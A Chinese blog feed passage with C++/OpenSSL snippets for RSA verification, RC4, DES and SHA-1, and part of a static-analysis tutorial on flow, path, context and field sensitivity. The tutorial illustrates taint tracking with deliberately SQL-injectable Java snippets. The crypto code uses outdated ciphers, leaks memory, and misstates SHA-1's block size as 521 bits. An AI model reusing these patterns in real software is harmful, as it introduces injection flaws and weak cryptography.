class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;load public key failed!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    RSA *key = <span class="built_in">RSA_new</span>();</span><br><span class="line">    key = <span class="built_in">PEM_read_RSA_PUBKEY</span>(f, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>);</span><br><span class="line">    <span class="built_in">fclose</span>(f);</span><br><span class="line">    <span class="keyword">if</span> (key == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;generate public key failed!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!<span class="built_in">RSA_verify</span>(NID_sha1, (<span class="type">const</span> <span class="type">unsigned</span> <span class="type">char</span> *) data.<span class="built_in">c_str</span>(), data.<span class="built_in">length</span>(),</span><br><span class="line">                    (<span class="type">unsigned</span> <span class="type">char</span> *) signature.<span class="built_in">c_str</span>(), signature.<span class="built_in">length</span>(), key)) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;verify failed!&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;verify success!&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="对称密码">对称密码</h2><p>因为课堂教学顺序是这样，所以我也放在最后了。</p><h3 id="RC4">RC4</h3><p>流密码是<strong>对称加密算法</strong>，加解密双方（基于密钥）产生相同伪随机流， 明文与伪随机流按位<strong>异或</strong>加密。一种具有<strong>可变密钥长度</strong>（1~255 字节）的流密码。它依赖初始的 256 字节状态数组（初始化为单位数组）开始迭代</p><ul><li>KSA 算法：基于 K 置换状态数组</li><li>PRNG 算法：扩充状态数组，加密明文数据</li></ul><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">string <span class="title">rc4_encrypt</span><span class="params">(string data,string init_key)</span></span>&#123;</span><br><span class="line">    RC4_KEY key;</span><br><span class="line">    <span class="built_in">RC4_set_key</span>(&amp;key,init_key.<span class="built_in">length</span>(),(<span class="type">const</span> <span class="type">unsigned</span> <span class="type">char</span>*)init_key.<span class="built_in">c_str</span>());</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span>* cipher = (<span class="type">unsigned</span> <span class="type">char</span> *) <span class="built_in">malloc</span>(<span class="built_in">sizeof</span>(<span class="type">unsigned</span> <span class="type">char</span>) * (data.<span class="built_in">length</span>()));;</span><br><span class="line">    <span class="built_in">RC4</span>(&amp;key,data.<span class="built_in">length</span>(),(<span class="type">const</span> <span class="type">unsigned</span> <span class="type">char</span>*)data.<span class="built_in">c_str</span>(),cipher);</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">string</span>((<span class="type">char</span>*)cipher,data.<span class="built_in">length</span>());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>需要注意两个地方，<code>RC4_KEY</code> <strong>不能是指针</strong>，必须声明式结构体。接收密文的 buffer 必须提前<strong>分配和明文一样大的内存</strong>。</p><h3 id="DES">DES</h3><p>DES 是分组密码，将明文进行分组，将每个明文分组作为整体进行加解密。<strong>分组长度 64 位</strong>；<strong>有效密钥长度 56 位</strong>。DES 基于 Feistel 密码结构，也就是</p><ul><li><p>扩散：明文每一位影响密文许多位</p></li><li><p>混淆：隐藏密文与密钥统计关系</p></li></ul><h4 id="分组密码应用模式">分组密码应用模式</h4><ul><li><p>ECB(Electronic codebook)，每个分组都是各自独立加密的，不好隐藏数据的模式和统计特征。</p></li><li><p>CBC(Cipher-block chaining)，第一个块需要使用初始化向量，然后每个密文块依赖上一个密文块。<strong>串行加密，并行解密</strong>。</p><img src="http://cdn.blog-blockchain.xyz/202211301016785.png" alt="Cbc_encryption" style="zoom:150%;" /><img src="http://cdn.blog-blockchain.xyz/202211301016345.png" alt="Cbc_decryption" style="zoom:150%;" /></li><li><p>CTR(Counter mode)，数器可以是任意保证长时间不产生重复输出的函数，但使用一个普通的计数器是最简单和最常见的做法。<strong>并行加密，并行解密</strong>。</p><img src="http://cdn.blog-blockchain.xyz/202211301025802.png" alt="Ctr_encryption" style="zoom:150%;" /><img src="http://cdn.blog-blockchain.xyz/202211301025956.png" alt="Ctr_decryption" style="zoom:150%;" /></li></ul><h4 id="代码">代码</h4><p>核心就是记得 <code>DES_string_to_key</code> 之后再 <code>DES_set_key_checked</code> 生成另外一个密钥，加密函数的最后一个参数要写 <code>DES_ENCRYPT</code> 或者 <code>DES_DECRYPT</code></p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">convert_string_to_des_block</span><span class="params">(string str, DES_cblock &amp;output)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">8</span>; ++i) output[i] = str[i];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//只能处理一个8字节的块，需要加密任意数据的话，还需要封装一层</span></span><br><span class="line"><span class="function">string <span class="title">des_encrypt</span><span class="params">(string plain, string secret_key)</span> </span>&#123;</span><br><span class="line">    DES_cblock in_data, out_data, key;</span><br><span class="line">    <span class="built_in">convert_string_to_des_block</span>(plain, in_data);</span><br><span class="line">    <span class="built_in">DES_string_to_key</span>(secret_key.<span class="built_in">c_str</span>(), &amp;key);</span><br><span class="line">    DES_key_schedule keys;</span><br><span class="line">    <span class="built_in">DES_set_key_checked</span>(&amp;key, &amp;keys);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">DES_ecb_encrypt</span>(&amp;in_data, &amp;out_data, &amp;keys, DES_ENCRYPT);</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">string</span>((<span class="type">char</span> *) out_data, plain.<span class="built_in">length</span>());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="SHA-1">SHA-1</h3><p>哈希函数<strong>单向</strong>、<strong>抗碰撞</strong>，用于<strong>检测数据完整性</strong>。考前要记住 SHA1，摘要 160 bit，分组 521 bit，80 次迭代。</p><img src="http://cdn.blog-blockchain.xyz/202211301056714.png" alt="image-20221130105613630" style="zoom: 67%;" /><p>代码挺简单的，注意缓冲区 20 字节就可以了。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">string <span class="title">sha1_digest</span><span class="params">(string msg)</span> </span>&#123;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> obuf[<span class="number">20</span>];</span><br><span class="line">    <span class="built_in">SHA1</span>((<span class="type">unsigned</span> <span class="type">char</span> *) msg.<span class="built_in">c_str</span>(), msg.<span class="built_in">length</span>(), obuf);</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">string</span>((<span class="type">char</span> *) obuf, <span class="number">20</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/cs-courses/cpp-cryptographic-algorithm-basis/</id>
    <link href="https://www.blog-blockchain.xyz/cs-courses/cpp-cryptographic-algorithm-basis/"/>
    <published>2022-12-02T08:15:22.000Z</published>
    <summary>综合介绍信息安全与密码学基础，涵盖数论算法、伪随机数生成器、RSA非对称加密、对称密码算法等，提供完整的C++代码实现和OpenSSL库使用指南。</summary>
    <title>信息安全算法基础</title>
    <updated>2026-02-19T16:18:01.152Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/categories/program-language/"/>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/tags/program-language/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/pl/understanding-program-analysis/" title="（一）初识软件分析">（一）初识软件分析</a></li><li><a href="/pl/data-flow-analysis/" title="（二）数据流分析基础">（二）数据流分析基础</a></li><li><a href="/pl/LP-souffle/" title="（三）Datalog和程序分析">（三）Datalog和程序分析</a></li><li><a href="/pl/ssa-and-sparse-analysis/" title="（四）静态单赋值和稀疏分析">（四）静态单赋值和稀疏分析</a></li><li><a href="/pl/Interprocedural-DFA/" title="（五）过程间分析">（五）过程间分析</a></li><li><a href="/pl/points-to-analysis/" title="（六）指向分析">（六）指向分析</a></li><li><a href="/pl/abstract-interpretation/" title="（七）抽象解释">（七）抽象解释</a></li><li><a href="/pl/smt-and-symbolic-execution/" title="（八）SMT和符号执行">（八）SMT和符号执行</a></li><li><a href="/pl/static-analysis-tools/" title="（九）体验静态分析工具">（九）体验静态分析工具</a></li><li><a href="/pl/fuzzing-introduction/" title="（十）Fuzzing 基础">（十）Fuzzing 基础</a></li></ol></blockquote><h2 id="程序分析中的敏感性">程序分析中的敏感性</h2><blockquote><p>看到一篇总记得比较有条理的博客：华为云社区的《<a href="https://bbs.huaweicloud.com/blogs/234041">静态代码分析敏感性概念</a>》，<strong>本小节（程序分析中的敏感性）的内容全部来自该博客，本人只做了排版优化</strong>。</p></blockquote><p>本文介绍几种在静态代码分析中的敏感性分析的概念。主要有流敏感（flow-sensitive），路径敏感（path-sensitive），上下文敏感（context-sensitive）和域敏感（field-sensitive）。所有的敏感性分析相对于非敏感性分析，在分析的准确性上，都会有很大的精度提升（如减少漏报和误报等），但是会在时间或者空间上有更大损耗。</p><h3 id="流敏感（flow-sensitive）">流敏感（flow-sensitive）</h3><p>流敏感分析，是指在分析时，区分程序的执行顺序的分析。如下面的两段代码：</p><p>代码片段一：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> <span class="string">&quot;zhangsan&quot;</span>;</span><br><span class="line">name = System.getProperty(<span class="string">&quot;name&quot;</span>);</span><br><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &quot;</span> + name;</span><br><span class="line">sqlExecute(sql);</span><br></pre></td></tr></table></figure><p>代码片段二：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> System.getProperty(<span class="string">&quot;name&quot;</span>);</span><br><span class="line">name = <span class="string">&quot;zhangsan&quot;</span>;</span><br><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &quot;</span> + name;</span><br><span class="line">sqlExecute(sql);</span><br></pre></td></tr></table></figure><p>这里，我们设定 <code>sqlExecute</code> 是执行一条 sql 命令的方法，则上面的两个代码片段中，<code>System.getProperty()</code> 是从环境变量中获取数据，可以认为是污点入口。如果是代码片段一，可能发生 sql 注入风险，因为 <code>name</code> 在第 2 行，被赋给了一个外部传入的数据，第 3 行将 <code>name</code> 传递给了 sql，在第 4 行，sql 被传入一个污点坑。而代码片段二，则没有可能发生 sql 注入风险，因为在第 2 行，<code>name</code> 是个常量，第 3 行 sql 也没有被污染，是拼接了一个常量 <code>zhangsan</code>。</p><p>上面的分析，实际上是一种流敏感的分析，我们分析了 <code>name</code> 在第 1 行和第 2 行指向的内容，从而知道在代码片段一中，第 3 行的 <code>name</code> 指向一个污染数据，代码片段二中，第 3 行的 <code>name</code> 指向的是一个常量字符串，从而知道上面代码片段一有 sql 注入风险，代码片段二没有 sql 注入风险。而如果是流不敏感分析，则不管是代码片段一还是代码片段二，都只能得出来的一个结论是：第 3 行的 <code>name</code> 指向的是常量字符串或者是外部传入的污染数据，从而得到的结论是代码片段一和代码片段二都有 sql 注入的风险。</p><p>从上面的一个简单的结合指向分析和污点传播的案例，我们可以知道，<strong>流敏感分析可以有效降低分析的误报，提高分析的准确性</strong>。绝大部分的数据流分析，例如常量传播、指向分析等，都需要是流敏感分析，当然，也不是说所有的分析都需要是流敏感的，比如静态类型语言中，分析一个变量的类型，分析到一个位置的某个变量的类型信息后，其他地方的该变量自然就都是该类型的。</p><p>流敏感分析已经是程序分析中，数据流分析的最基本要求，已有的一些成熟的代码分析框架，例如 Java 中的 Soot 和 Wala，C/C++中的 Clang 等，都是原始支持流敏感的分析。</p><p>部分源码，在生成 SSA 形式的三地址码后，在 SSA 上的非流敏感分析，在相当程度上，也可以实现类似于普通三地址码的流敏感分析的效果，因为 SSA 中每个变量只会有一次赋值，生成 SSA 形式后，实际上的效果就是每个变量只会有一个指向，例如上面的代码片段，当针对 <code>name</code> 变量，针对两次赋值区分 <code>name1</code> 和 <code>name2</code> 之后，在 sql 中，都使用 <code>name2</code> 赋值，不会再有不同指向的问题。</p><h3 id="路径敏感（path-sensitive）">路径敏感（path-sensitive）</h3><p>路径敏感，就是在进行分析时，同时考虑了分支路径上面的条件信息。如下面的两段代码：</p><p>代码片段一：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">String name;</span><br><span class="line"><span class="type">int</span> <span class="variable">x</span> <span class="operator">=</span> <span class="number">3</span>;</span><br><span class="line"><span class="keyword">if</span> (x &gt; <span class="number">0</span>) &#123;</span><br><span class="line">    name = System.getProperty(<span class="string">&quot;name&quot;</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    name = <span class="string">&quot;zhangsan&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &quot;</span> + name;</span><br><span class="line">sqlExecute(sql);</span><br></pre></td></tr></table></figure><p>代码片段二：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">String name;</span><br><span class="line"><span class="type">int</span> <span class="variable">x</span> <span class="operator">=</span> -<span class="number">1</span>;</span><br><span class="line"><span class="keyword">if</span> (x &gt; <span class="number">0</span>) &#123;</span><br><span class="line">    name = System.getProperty(<span class="string">&quot;name&quot;</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    name = <span class="string">&quot;zhangsan&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &quot;</span> + name;</span><br><span class="line">sqlExecute(sql);</span><br></pre></td></tr></table></figure><p>上面的两段代码除了 <code>x</code> 的取值外，都相同。那么来分析上面的代码。当 <code>x</code> 大于 0 时，<code>name</code> 是一个从环境变量里面获取的污点数据，当 <code>x</code> 小于等于 0 时，<code>name</code> 是一个常量 <code>zhangsan</code>，然后执行 sql 命令的拼接，并执行命令。</p><p>现有的数据流分析，一般都可以识别到分支操作，然后执行到分支完毕时，执行一个 merge 的操作，然后继续执行。如上，<code>name</code> 在分支结束后，内容是 <code>&#123;System.getProperty(&quot;name&quot;)&#125;∨&#123;zhangsan&#125;</code>，如果是考虑污点分析的抽象值，则为 <code>&#123;Tainted&#125;∨&#123;NotTainted&#125;=&#123;Tainted，NotTainted&#125;</code>，然后 sql 被污染，最后发生一个 sql 注入问题（一般静态代码分析，都是 sound 分析，所以会报一个缺陷）。这种是不考虑路径敏感的场景。</p><p>上面，不考虑分支条件的时候，对代码片段一和代码片段二分析时，都会报出来一个 sql 注入的问题。当带上分支条件时，对于第二种场景，计算约束 <code>constraint(&#123;x == -1&#125;∨&#123;x &gt; 0&#125;)</code> 无解，可以知道污点分支走不进去，从而可以知道其实代码片段二是不会发生 sql 注入的，而只有代码片段一会发生 sql 注入。</p><p>从上面的分析，<strong>路径敏感分析，可以有效降低静态代码分析中的误报，提高分析的准确性</strong>。这就要求，在获取每一条分支路径分析时，都需要同时保存分支的条件，然后通过<strong>约束求解</strong>方法，获取分支可达性，从而降低误报。另外，如果是基于 SSA 形式的分析，一般可以通过在构造 φ 函数时，同时保存分支信息来实现。</p><p>当前，很多静态代码分析框架，例如 Java 中 Soot，原生并没有关于路径分支的可达性的计算支持（即非路径敏感分析，《编译原理》中介绍的数据流分析，就是非路径敏感的），所以如果是基于这些框架开发静态代码分析框架，需要考虑路径敏感性分析的实现（基于分支条件的约束求解），但是也需要注意可能的路径爆炸等问题。</p><h3 id="上下文敏感（context-sensitive）">上下文敏感（context-sensitive）</h3><p>上下文敏感，就是考虑函数调用的上下文信息。一个函数可能会被多个函数调用，那么在不同的函数调用它的时候，在传给它的实际参数或当时的全局变量不同的情况下，可能有不同的行为，如下面的一段代码：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">name1</span> <span class="operator">=</span> getName(<span class="number">3</span>);  <span class="comment">// Tainted</span></span><br><span class="line">    <span class="type">String</span> <span class="variable">sql1</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &quot;</span> + name1;</span><br><span class="line">    sqlExecute(sql1);  <span class="comment">// Taint Sink</span></span><br><span class="line"></span><br><span class="line">    <span class="type">String</span> <span class="variable">name2</span> <span class="operator">=</span> getName(-<span class="number">1</span>);  <span class="comment">// Not Tainted</span></span><br><span class="line">    <span class="type">String</span> <span class="variable">sql2</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &quot;</span> + name2;</span><br><span class="line">    sqlExecute(sql2);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> String <span class="title function_">getName</span><span class="params">(<span class="type">int</span> x)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (x &gt; <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> System.getProperty(<span class="string">&quot;name&quot;</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;zhangsan&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如上所示，<code>getName()</code>方法基于入参的不同，会返回不同的结果，如上面的代码，在第 2 行和第 6 行，获取到的 <code>name1</code> 和 <code>name2</code> 的污点信息不同，当入参为 3 时，返回的是一个从环境变量中获取的污染的数据，到导致 sql 注入，而当入参为-1 时，返回的是一个常量，不是污染数据，不会有问题。</p><p>所以，在上下文敏感的分析中，在第 4 行应该报一个 sql 注入问题，而在第 8 行则不应该报 sql 注入问题。而上下文非敏感的分析中，不考虑传入参数的不同，<code>getName()</code> 方法，则全部返回一个 <code>&#123;System.getProperty(&quot;name&quot;)&#125;∨&#123;zhangsan&#125;</code>，从而导致第 4 行和第 8 行都会报一个 sql 注入的问题。</p><p>如上分析，上下文敏感分析，可以<strong>减少误报，提高分析精度</strong>，同时，也对函数建立摘要提出了挑战。上下文，指在分析函数调用过程中，可能影响函数行为的所有的信息，不仅仅包含传递的实参，还包括全局变量、实参类型等信息，根据我们的分析的目标来确定（静态代码分析，在一定程度上，全都需要进行一定程度的抽象，需要根据分析目标，在上下文和结果上进行合理抽象）。</p><h3 id="域敏感（field-sensitive）">域敏感（field-sensitive）</h3><p>域敏感，即针对对象属性、容器等数据类型上成员或者元素上面的分析问题。如下面的例子：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> System.getProperty(<span class="string">&quot;name&quot;</span>);</span><br><span class="line">    <span class="type">Bean</span> <span class="variable">bean</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Bean</span>();</span><br><span class="line">    bean.setName(name);</span><br><span class="line">    bean.setGender(<span class="string">&quot;male&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="type">String</span> <span class="variable">sql1</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &quot;</span> + bean.getName();</span><br><span class="line">    sqlExecute(sql1);</span><br><span class="line"></span><br><span class="line">    <span class="type">String</span> <span class="variable">sql2</span> <span class="operator">=</span> <span class="string">&quot;select * from user where gender = &quot;</span> + bean.getGender();</span><br><span class="line">    sqlExecute(sql2);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">Bean</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> String name;</span><br><span class="line">    <span class="keyword">private</span> String gender;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如上面的例子，在第 2 行，<code>name</code> 是污染数据，然后在第 4 行，将 <code>bean</code> 的 <code>name</code> 属性设为 name，将 <code>bean</code> 的 <code>gender</code> 设置为常量 male，从而 <code>bean</code> 的 <code>name</code> 属性是被污染的，<code>gender</code> 属性没有被污染，继续往下分析，在执行 sql1 的第 8 行，应该报一个 sql 注入问题，而在执行 sql2 的第 11 行，不应该报 sql 注入问题。</p><p>如果是域敏感分析，可以将污点打在对象的属性上面，从而能够区分上面的场景，只在第 8 行报一个 sql 注入缺陷，而在第 11 行则不会报缺陷，但是如果是域不敏感分析，则无法报准确将污点打在对象的属性上面，从而导致污点被打在对象上，从而导致第 8 行和第 11 行都会报一个缺陷。</p><p>域敏感分析，对于面向对象语言的静态代码分析工具的实现，是一种非常重要的基础要求，如果无法实现域敏感分析，则会导致大量的无关的误报问题。当前，很多开源的分析框架，例如 Java 中基于 Soot 的 IDEal，就实现了域敏感的分析（可以参考<a href="http://www.bodden.de/pubs/sab19context.pdf%EF%BC%8CContext-">http://www.bodden.de/pubs/sab19context.pdf，Context-</a>, Flow-, and Field-Sensitive Data-Flow Analysis using Synchronized Pushdown Systems），也有一些静态代码分析工具，将对象的属性延展为普通的变量来实现污点标记。</p><p>上面介绍的这种域敏感分析，是静态代码分析工具的基本要求，下面介绍两种域敏感分析，根据我的使用静态代码分析工具的经验，还很少有工具很好地支持了下面的场景，直接看代码：</p><p>案例一，List 场景：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> System.getProperty(<span class="string">&quot;name&quot;</span>);</span><br><span class="line">List&lt;String&gt; arg = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(<span class="number">2</span>);</span><br><span class="line">arg.add(name);</span><br><span class="line">arg.add(<span class="string">&quot;male&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">String</span> <span class="variable">sql1</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &quot;</span> + arg.get(<span class="number">0</span>);</span><br><span class="line">sqlExecute(sql1);</span><br><span class="line"></span><br><span class="line"><span class="type">String</span> <span class="variable">sql2</span> <span class="operator">=</span> <span class="string">&quot;select * from user where gender = &quot;</span> + arg.get(<span class="number">1</span>);</span><br><span class="line">sqlExecute(sql2);</span><br></pre></td></tr></table></figure><p>案例二，Map 场景：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> System.getProperty(<span class="string">&quot;name&quot;</span>);</span><br><span class="line">Map&lt;String, String&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">2</span>);</span><br><span class="line">map.put(<span class="string">&quot;name&quot;</span>, name);</span><br><span class="line">map.put(<span class="string">&quot;gender&quot;</span>, <span class="string">&quot;male&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">String</span> <span class="variable">sql1</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &quot;</span> + map.get(<span class="string">&quot;name&quot;</span>);</span><br><span class="line">sqlExecute(sql1);</span><br><span class="line"></span><br><span class="line"><span class="type">String</span> <span class="variable">sql2</span> <span class="operator">=</span> <span class="string">&quot;select * from user where gender = &quot;</span> + map.get(<span class="string">&quot;gender&quot;</span>);</span><br><span class="line">sqlExecute(sql2);</span><br></pre></td></tr></table></figure><p>当前，还没有很好的工具，可以对上面的场景进行区分，如果没有误报的话，对于案例一和案例二，都是第 7 行应该有 sql 注入缺陷，第 10 行没有，但是，当前还没有一款很好的工具（也可能是有，但是我不知道），可以很好地对 <code>List</code> 和 <code>Map</code> 中的 <code>add</code> 和 <code>put</code> 进行准确处理。<code>List</code> 的 <code>add</code> 方法，<code>Map</code> 的 <code>put</code> 方法，都会把污点标记给打到整个容器上。</p><h3 id="总结">总结</h3><p>流敏感分析，针对的是同一个代码块内部的语句的顺序执行的数据流分析的要求；路径敏感分析，针对的是同一个方法内里面，能够区分不同分支的分析要求（数据流分析是路径不敏感的）；上下文敏感分析，是针对跨过程调用的时候的数据流分析要求。这三个概念层层递进，都是面向程度执行结构的敏感性要求，是一个静态代码分析工具的基本通用要求，一般的静态代码分析框架，都应该实现这些基本要求。</p><p>域敏感，也叫属性敏感，主要针对面向对象语言（包括 C 语言中的结构体等）的一种分析技术，目的是提高静态代码的分析精度，贯穿整个分析过程。实际上，域敏感并不是必须完全需要实现，静态代码分析工具可以基于需要，在不同的层次上实现域敏感，同时，也可以<strong>刻意将待分析程序部分内容实现为域不敏感来提高性能（域敏感分析，对分析时间和分析所消耗的内存，都有显著影响）</strong>。</p><h2 id="流非敏感指向分析">流非敏感指向分析</h2><p>为什么进行流非敏感的指向分析？下面例子来自《<a href="https://blog.csdn.net/a173373310/article/details/119167140">论文解读系列–《Flow-Sensitive Pointer Analysis for Millions of Lines of Code》</a>》，做了一点儿改正。</p><blockquote><p>流敏感分析是考虑了每个程序点的独有状态值，即在某条语句之前和之后，可能状态值是不一样的。比如：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//  int *p, *q, a, b, c</span></span><br><span class="line">p = &amp;a;</span><br><span class="line">q = &amp;b;</span><br><span class="line">p = &amp;c;</span><br><span class="line">p = q;</span><br></pre></td></tr></table></figure><p>如果是非流敏感分析，那么分析结果将是 <strong>pts_set [p] = {a, b, c}</strong> 对所有位置均成立，显然这是错误的。因为在语句 1 之后，p 只是指向了 a。如果是流敏感分析，那么结果是，对于语句 1 执行后，<strong>pts_set [p] = {a}</strong>, 在语句 3 执行后，<strong>pts_set [p] = {a ,c}</strong>, 在语句 4 执行后，<strong>pts_set [p] = {a, b, c}</strong>。<br>可以看到，流敏感分析对于程序分析精度的提高是非常有用的。</p><p><strong>总结： 流敏感和非流敏感的区别在于：流敏感为每个程序点都计算了该点独有的程序状态</strong></p></blockquote><p>但是流敏感分析复杂度高的多，所以进行流非敏感分析常常是进一步分析的基础。接下来的指向分析时</p><ul><li>不考虑在堆上分配的内存</li><li>不考虑 struct、数组等结构</li><li>不考虑指针运算（如*(p+1)）</li></ul><p>这些限制有利于我们了解最基础的指向分析。</p><h3 id="指向分析和别名分析">指向分析和别名分析</h3><p>指针分析 (pointer analysis) 可以主要分成两类：别名分析 (alias analysis) 和指向分析 (points-to analysis)，中文语义不是很好区分。</p><blockquote><p><em>Alias analysis</em> computes a set S holding pairs of variables (p, q) , where p and q may (or must) point to the same location. On the other hand, <em>points-to analysis</em>, as described above, 